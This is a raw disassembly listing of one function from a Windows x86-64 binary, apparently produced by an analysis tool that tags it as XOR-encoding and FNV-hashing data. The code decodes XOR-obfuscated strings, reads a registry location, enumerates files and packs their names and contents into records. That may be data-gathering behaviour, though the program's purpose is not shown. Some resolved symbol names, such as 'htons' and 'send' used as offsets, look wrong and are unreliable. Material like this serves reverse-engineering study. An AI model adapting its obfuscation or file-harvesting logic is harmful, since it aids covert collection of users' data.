Function at 0x140039680
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rax, qword [0x140130c00]
xor rax, rsp
mov qword [rbp + 0x320], rax
mov dword [rsp + 0x30], 1
movabs rax, 0xf5dcf683ed7065dc
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x70], rax
movabs r14, 0xd8dc17272143af6c
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x78], rax
movabs rbx, 0xf5dcf6ee8c15118f
mov qword [rsp + 0x20], rbx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d8], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x190]
call fcn.140042970
nop
movabs rax, 0xb08eb7b9d8535edc
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xa0], rax
movabs rax, 0x8b8072514d22f930
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xa8], rax
movabs rax, 0xfeb37e4cc820393d
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xb0], rax
movabs rcx, 0xaf0a0b35f66f393e
mov qword [rsp + 0x20], rcx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xb8], rax
mov qword [rsp + 0x20], rbx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x300], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x308], rax
movabs rax, 0xfeb37e4ca5415c49
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x310], rax
mov qword [rsp + 0x20], rcx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x318], rax
movdqa xmm0, xmmword [rbp + 0x300]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0x310]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x210]
call fcn.140042970
nop
movabs rax, 0x81bda683ed7065dc
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x70], rax
movabs rax, 0xd8dc17272143af04
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x78], rax
mov qword [rsp + 0x20], rbx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d8], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x1f0]
call fcn.140042970
nop
lea r9, [rbp + 0x1f0]
lea r8, [rbp + 0x210]
mov rdx, 0xffffffff80000001
lea rcx, [rbp + 0x28]
call fcn.140086db0
nop
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.1400454b0
nop
lea rcx, [rbp + 0x28]
call fcn.140042880
xor r12d, r12d
cmp qword [rbp + 0x180], r12
jne 0x14003990f
lea rcx, [rbp + 0x170]
call fcn.14002ea50
test al, al
jne 0x14003990f
movdqa xmm0, xmmword [0x140118200]
jmp 0x14003abc2
movabs rax, 0xf5dcf6eee27362fc
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x70], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x78], rax
mov qword [rsp + 0x20], rbx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d8], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x1d0]
call fcn.140042970
nop
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0xd0]
call fcn.14002e760
nop
lea rcx, [rbp + 0x90]
call fcn.14002eae0
lea rax, [rbp + 0x2d0]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x2d0]
call fcn.140031b60
nop
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.14002e8c0
nop
lea rcx, [rbp + 0x80]
call fcn.14002eae0
lea rax, [rbp + 0x2d0]
mov qword [rsp + 0x38], rax
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x2d0]
call fcn.140031b60
nop
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.14002e9a0
nop
mov rax, qword [rbp + 0x90]
cmp rax, qword [rbp + 0x80]
je 0x140039c2c
nop dword [rax]
lea rdi, [rax + 0x20]
lea rdx, [rbp + 0x2e0]
mov rcx, rdi
call fcn.14002d4e0
nop
lea rdx, [rbp - 0x78]
mov rcx, rax
call fcn.14002d370
mov rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], r12
mov r8d, 4
cmp qword [rax + 0x10], r8
cmovb r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140039a74
mov rdx, qword [rax]
lea rcx, [rbp + 0xa0]
call fcn.1400486b0
mov eax, dword [rsp + 0x30]
bts eax, 7
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0xa0]
call fcn.140045510
movzx ebx, al
and dword [rsp + 0x30], 0xffffff7f
lea rcx, [rbp + 0xa0]
call fcn.140042880
nop
lea rcx, [rbp - 0x78]
call fcn.140042880
nop
lea rcx, [rbp + 0x2e0]
call fcn.14002da40
test bl, bl
je 0x140039c0c
mov rdx, rdi
lea rcx, [rbp + 0x110]
call fcn.14007f8f0
nop
cmp byte [rbp + 0x130], 0
je 0x140039c00
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x2d0], xmm0
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x70]
call fcn.140041aa0
nop
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x68]
mov rcx, rdi
call fcn.14002d4e0
nop
lea rdx, [rbp + 0x300]
mov rcx, rax
call fcn.14002d370
nop
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400455e0
mov rbx, rax
lea rdx, str.filename
lea rcx, [rbp + 0x70]
call fcn.140045550
mov rcx, rax
mov rdx, rbx
call fcn.140041a40
nop
lea rcx, [rbp + 0x300]
call fcn.140042880
nop
lea rcx, [rsp + 0x68]
call fcn.14002da40
lea rax, [rsp + 0x48]
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0x110]
call fcn.140042480
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1400455b0
mov rbx, rax
lea rdx, str.content
lea rcx, [rbp + 0x70]
call fcn.140045550
mov rcx, rax
mov rdx, rbx
call fcn.140041a40
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0xf0]
call fcn.1400429b0
nop
mov rdx, rax
lea rcx, [0x140131140]
call fcn.140041900
lea rdx, [rbp + 0x70]
mov rcx, rax
call fcn.1400417a0
nop
lea rcx, [rbp + 0x70]
call fcn.140041a20
nop
lea rcx, [rbp + 0x110]
call fcn.14002f2e0
lea rcx, [rbp + 0x90]
call fcn.14002e7b0
mov rax, qword [rbp + 0x90]
cmp rax, qword [rbp + 0x80]
jne 0x140039a20
mov rsi, 0xffffffffffffffff
mov rbx, qword [rbp + 0x88]
test rbx, rbx
je 0x140039c69
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140039c69
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140039c69
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
nop
mov rbx, qword [rbp + 0x98]
test rbx, rbx
je 0x140039c9f
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140039c9f
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140039c9f
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
nop
mov rbx, qword [rbp + 0xd8]
test rbx, rbx
je 0x140039cd4
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140039cd4
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140039cd4
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
lea rax, [rbp - 0x78]
mov qword [rsp + 0x38], rax
lea rax, str.config
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 0x2d8], 6
movaps xmm0, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0x2d0], xmm0
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp - 0x78]
call fcn.140055c20
mov eax, dword [rsp + 0x30]
bts eax, 8
mov dword [rsp + 0x30], eax
and dword [rsp + 0x30], 0xfffffeff
lea r8, [rbp - 0x78]
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x1b0]
call fcn.14002d810
nop
lea rcx, [rbp - 0x78]
call fcn.14002da40
lea rcx, [rbp + 0x150]
call fcn.140042ad0
nop
lea rcx, [rbp + 0x1b0]
call fcn.14002ea50
test al, al
je 0x14003a1b2
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x2d0]
call fcn.14002e760
nop
lea rcx, [rbp + 0x80]
call fcn.14002eae0
lea rax, [rbp + 0x70]
mov qword [rsp + 0x38], rax
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x70]
call fcn.140031b60
nop
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.14002e8c0
nop
lea rcx, [rbp + 0xd0]
call fcn.14002eae0
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0xf0]
call fcn.140031b60
nop
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.14002e9a0
nop
mov rax, qword [rbp + 0x80]
cmp rax, qword [rbp + 0xd0]
je 0x14003a111
movabs r15, 0xf5b5f6898c7a11e3
movabs r13, 0xd8b917542136af02
nop dword [rax]
lea rdi, [rax + 0x20]
mov rdx, rdi
lea rcx, [rbp + 0x90]
call fcn.14002eaf0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x58], xmm0
mov edx, dword [rax + 8]
mov ecx, dword [rsp + 0x58]
test edx, edx
je 0x140039e56
lea eax, [rcx - 1]
test eax, 0xfffffff7
jne 0x14003ad64
cmp ecx, 3
je 0x14003a0f1
mov rdx, rdi
lea rcx, [rbp + 0x110]
call fcn.14007f8f0
nop
cmp byte [rbp + 0x130], 0
je 0x14003a0e5
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x70]
call fcn.140041aa0
nop
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rax
lea rdx, [rbp - 0x18]
mov rcx, rdi
call fcn.14002d4e0
nop
lea rdx, [rbp + 8]
mov rcx, rax
call fcn.14002d370
nop
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.1400455e0
mov rbx, rax
lea rdx, str.filename
lea rcx, [rbp + 0x70]
call fcn.140045550
mov rcx, rax
mov rdx, rbx
call fcn.140041a40
nop
lea rcx, [rbp + 8]
call fcn.140042880
nop
lea rcx, [rbp - 0x18]
call fcn.14002da40
lea rax, [rbp + 0x300]
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0x110]
call fcn.140042480
mov rdx, rax
lea rcx, [rbp + 0x300]
call fcn.1400455b0
mov rbx, rax
lea rdx, str.content
lea rcx, [rbp + 0x70]
call fcn.140045550
mov rcx, rax
mov rdx, rbx
call fcn.140041a40
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x2e0]
call fcn.1400429b0
nop
mov rdx, rax
lea rcx, [0x140131140]
call fcn.140041900
lea rdx, [rbp + 0x70]
mov rcx, rax
call fcn.1400417a0
mov qword [rsp + 0x20], r15
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xa0], rax
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xa8], rax
movabs rax, 0xfec57e62a5325c3b
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xb0], rax
movabs rax, 0xaf0a0b35f609395a
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xb8], rax
movabs rax, 0xf5dcf6ee8c15118f
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2e0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2e8], rax
movabs rax, 0xfeb37e4ca5415c49
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2f0], rax
movabs rax, 0xaf0a0b35f66f393e
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2f8], rax
movdqa xmm0, xmmword [rbp + 0x2e0]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0x2f0]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0x48]
mov rcx, rdi
call fcn.14002d4e0
nop
lea rdx, [rbp - 0x38]
mov rcx, rax
call fcn.14002d4a0
nop
lea rdx, [rbp + 0xa0]
mov rcx, rax
call fcn.1400466b0
movzx ebx, al
lea rcx, [rbp - 0x38]
call fcn.140042660
nop
lea rcx, [rbp + 0x48]
call fcn.14002da40
test bl, bl
je 0x14003a0db
lea rcx, [rbp + 0x110]
call fcn.140042480
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.140046700
nop
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.1400428e0
nop
lea rcx, [rbp - 0x58]
call fcn.140042880
nop
lea rcx, [rbp + 0x70]
call fcn.140041a20
nop
lea rcx, [rbp + 0x110]
call fcn.14002f380
lea rcx, [rbp + 0x80]
call fcn.14002e7b0
mov rax, qword [rbp + 0x80]
cmp rax, qword [rbp + 0xd0]
jne 0x140039e20
mov rbx, qword [rbp + 0xd8]
test rbx, rbx
je 0x14003a147
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14003a147
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14003a147
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
nop
mov rbx, qword [rbp + 0x88]
test rbx, rbx
je 0x14003a17d
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14003a17d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14003a17d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
nop
mov rbx, qword [rbp + 0x2d8]
test rbx, rbx
je 0x14003a1b2
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14003a1b2
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14003a1b2
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
cmp qword [rbp + 0x160], 0
je 0x14003aab2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rax
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
mov word [rsp + 0x34], 1
mov byte [rsp + 0x36], al
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
add r8, rdx
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
lea r9, [rsp + 0x34]
lea rcx, [rbp + 0x230]
call fcn.1400468b0
nop
lea rcx, [rbp + 0x230]
cmp qword [rbp + 0x248], 0xf
cmova rcx, qword [rbp + 0x230]
mov r8, qword [rbp + 0x240]
cmp r8, 5
jne 0x14003aa98
lea rdx, str.users
call fcn.1400c19f0
test eax, eax
jne 0x14003aa98
mov rdi, qword [rbp + 0x298]
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14003a5c6
movabs r13, 0x100000001b3
movabs rcx, 0xd8dc17272126c20d
movabs rax, 0xbba8989be37672ce
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x80], rax
mov qword [rsp + 0x20], rcx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x88], rax
movabs rax, 0xf5dcf6ee8c15118f
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d8], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], r12
lea rax, [rbp + 0x80]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14003a330
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0xd0]
call fcn.1400486b0
nop
mov r14, qword [rbx + 0x30]
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rdx, qword [rbp + 0xd0]
movabs r9, 0xcbf29ce484222325
mov rcx, r12
mov r8, qword [rbp + 0xe0]
test r8, r8
je 0x14003a395
movzx eax, byte [rcx + rdx]
xor r9, rax
imul r9, r13
inc rcx
cmp rcx, r8
jb 0x14003a382
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x300]
lea rcx, [r14 + 0x20]
call fcn.14004f8e0
cmp qword [rax + 8], 0
je 0x14003a556
lea r8, [rbp + 0xd0]
lea rdx, [rsp + 0x68]
lea rcx, [r14 + 0x20]
call fcn.1400470e0
mov rdx, qword [rax]
add rdx, 0x30
lea rcx, [rbp + 0x110]
call fcn.1400429b0
nop
lea rdx, [rbx + 0x10]
lea rcx, [rbp + 0x130]
call fcn.1400429b0
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, qword [rbp + 0x100]
je 0x14003a48e
mov qword [rsp + 0x48], rdx
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x110]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x120]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x120], r12
mov qword [rbp + 0x128], send
mov byte [rbp + 0x110], 0
xorps xmm0, xmm0
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], r12
mov qword [rdx + 0x38], r12
movups xmm0, xmmword [rbp + 0x130]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rbp + 0x140]
movups xmmword [rdx + 0x30], xmm1
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x148], send
mov byte [rbp + 0x130], 0
add qword [rbp + 0xf8], 0x40
jmp 0x14003a4a2
lea r8, [rbp + 0x110]
lea rcx, [rbp + 0xf0]
call fcn.14004fc80
nop
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x14003a4e3
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a4de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ad7a
call fcn.1400ae880
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x148], send
mov byte [rbp + 0x130], 0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x14003a53d
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a538
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ad80
call fcn.1400ae880
mov qword [rbp + 0x120], r12
mov qword [rbp + 0x128], send
mov byte [rbp + 0x110], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x14003a597
inc rdx
mov rcx, qword [rbp + 0xd0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14003a592
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ad86
call fcn.1400ae880
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], send
mov byte [rbp + 0xd0], 0
mov rbx, qword [rbx]
movabs r14, 0xd8dc17272143af6c
cmp rbx, rdi
jne 0x14003a293
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0xa0]
call fcn.140037e70
nop
cmp qword [rbp + 0xb0], 0
je 0x14003a92f
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x300], xmm0
movdqa xmmword [rbp + 0x300], xmm0
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x70]
call fcn.140043a40
or dword [rsp + 0x30], 0x10
lea rax, [rbp + 0x90]
mov qword [rsp + 0x48], rax
movabs rax, 0x81f28580e97e7edb
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x80], rax
movabs rax, 0xd8dc17272143db14
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x88], rax
movabs rax, 0xf5dcf6ee8c15118f
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xd0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xd8], rax
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xor eax, eax
mov qword [rbp + 0x98], rax
movzx edx, byte [rbp + 0x90]
lea rcx, [rbp + 0x98]
call fcn.140043ff0
mov byte [rbp + 0x90], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
mov ecx, 0x20
call fcn.1400ae888
mov rbx, rax
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 0x2d8], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
lea rax, [rbp + 0x80]
inc rsi
cmp byte [rax + rsi], 0
jne 0x14003a703
mov r8, rsi
lea rdx, [rbp + 0x80]
mov rcx, rbx
call fcn.1400486b0
mov qword [rbp + 0x2d8], r12
mov qword [rbp + 0x98], rbx
lea rax, [rbp + 0x90]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], r12
mov r8d, 8
lea rdx, str.filename
lea rcx, [rbp + 0x2e0]
call fcn.1400486b0
nop
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x70]
call fcn.140041900
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x90]
mov byte [rax], cl
mov byte [rbp + 0x90], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp + 0x98]
mov qword [rax + 8], rdx
mov qword [rbp + 0x98], rcx
movzx edx, byte [rbp + 0x90]
lea rcx, [rbp + 0x98]
call fcn.140043ff0
lea rax, [rbp + 0x300]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rdx, qword [rbp + 0xa0]
mov r8, qword [rbp + 0xb0]
lea rcx, [rsp + 0x68]
call fcn.140045310
mov edi, dword [rsp + 0x30]
or edi, 0x20
mov dword [rsp + 0x30], edi
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x300]
call fcn.1400455e0
mov rbx, rax
mov qword [rsp + 0x20], rax
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], r12
mov r8d, 7
lea rdx, str.content
lea rcx, [rbp + 0x2e0]
call fcn.1400486b0
nop
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x70]
call fcn.140041900
nop
movzx edx, byte [rax]
movzx ecx, byte [rbx]
mov byte [rax], cl
mov byte [rbx], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbx + 8]
mov qword [rax + 8], rdx
mov qword [rbx + 8], rcx
movzx edx, byte [rbx]
lea rcx, [rbx + 8]
call fcn.140043ff0
and edi, 0xffffffdf
mov dword [rsp + 0x30], edi
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14003a8d2
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a8cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ad74
call fcn.1400ae880
movdqa xmm0, xmmword [0x140118200]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
lea rax, [rbp - 0x58]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp - 0x58]
call fcn.1400429b0
nop
mov rdx, rax
lea rcx, [0x140131140]
call fcn.140041900
lea rdx, [rbp + 0x70]
mov rcx, rax
call fcn.1400417a0
and edi, 0xffffffef
mov dword [rsp + 0x30], edi
movzx edx, byte [rbp + 0x70]
lea rcx, [rbp + 0x78]
call fcn.140043ff0
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14003a970
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a96b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ad8c
call fcn.1400ae880
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], send
mov byte [rbp + 0xa0], 0
lea rax, [rbp + 0x290]
mov qword [rsp + 0x58], rax
lea rcx, [rbp + 0x290]
call fcn.140039600
nop
lea rax, [rbp + 0x250]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x250]
call fcn.140039560
nop
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x14003a9fc
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a9f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ad92
call fcn.1400ae880
mov qword [rbp + 0x240], r12
mov qword [rbp + 0x248], send
mov byte [rbp + 0x230], 0
mov rbx, qword [rbp + 0xf0]
test rbx, rbx
je 0x14003aab2
mov rdi, qword [rbp + 0xf8]
cmp rbx, rdi
je 0x14003aa49
mov rcx, rbx
call fcn.140037710
add rbx, 0x40
cmp rbx, rdi
jne 0x14003aa31
mov rbx, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0x100]
sub rdx, rbx
and rdx, 0xffffffffffffffc0
mov rax, rbx
cmp rdx, 0x1000
jb 0x14003aa7c
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ad98
mov rcx, rbx
call fcn.1400ae880
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], r12
jmp 0x14003aab2
lea rcx, [rbp + 0x230]
call fcn.1400394b0
nop
lea rcx, [rbp + 0xf0]
call fcn.1400402f0
nop
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x14003aaf3
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003aaee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
